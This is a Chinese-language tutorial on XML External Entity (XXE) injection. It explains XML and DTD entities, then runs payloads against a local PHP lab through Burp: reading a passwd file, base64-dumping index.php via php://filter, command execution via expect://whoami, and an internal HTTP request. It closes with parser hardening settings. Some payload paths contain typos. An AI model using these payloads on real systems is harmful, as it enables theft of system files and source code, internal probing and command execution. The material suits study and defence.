XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
(图片来源: 未知攻焉知防——XXE漏洞攻防.)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明:
外部声明(引用外部DTD):
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
内部实体声明:
外部实体声明:
(图片来源: What is XML External Entity (XXE)?.)
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///tc/passwd">]>
<root>
<name>&xxe;</name>
</root>
运行SimpleXmlElement.php(在该php中,使用SimpleXmlElement类解析body)
使用burp拦截进行注入,响应如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>
运行SimpleXmlElement.php,使用burp拦截进行注入,获取index.php页面内容的base64编码。响应如下:
在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
在此环境中没有安装expect扩展,我们就不演示这个了。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://10.175.237.181:80">]>
<root>
<name>&xxe;</name>
</root>
(文章链接: Exploiting XXE with local DTD files.)
libxml_disable_entity_loader(true);
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
https://security.tencent.com/index.php/blog/msg/69
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
https://www.cnblogs.com/Rightsec/p/10263454.html